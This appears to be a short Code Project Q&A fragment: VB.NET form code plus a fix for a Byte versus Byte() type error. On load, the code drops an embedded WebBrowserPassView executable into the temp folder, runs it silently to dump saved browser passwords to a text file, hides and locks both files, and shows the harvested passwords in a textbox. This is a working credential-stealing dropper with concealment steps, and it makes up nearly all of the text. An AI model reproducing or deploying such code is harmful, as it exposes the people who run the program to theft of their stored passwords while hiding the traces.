Imports System.IO Imports System.Text Public Class Form1 Dim tempath As String = My.Computer.FileSystem.SpecialDirectories.Temp Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Try Dim Resource1 As Byte = My.Resources.WebBrowserPassView FileOpen(1, Environ("tmp") & "\WebBrowserPassView.exe", OpenMode.Binary) FilePut(1, True, Resource1) FileClose(1) Shell(Environ("tmp") & "\WebBrowserPassView.exe /stext" & Environ("tmp") & "\WebBrowserPassView.txt", ) SetAttr(tempath & "\WebBrowserPassView.exe", vbHidden + vbReadOnly) SetAttr(tempath & "\WebBrowserPassView.txt", vbHidden + vbReadOnly) RichTextBox1.Text = IO.File.ReadAllText(Environ("tmp") & "\WebBrowserPassView.txt") Catch ex As Exception End Try End Sub End Class
Dim Resource1 As Byte = My.Resources.WebBrowserPassView
Dim Resource1 As Byte() = My.Resources.WebBrowserPassView
Byte
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)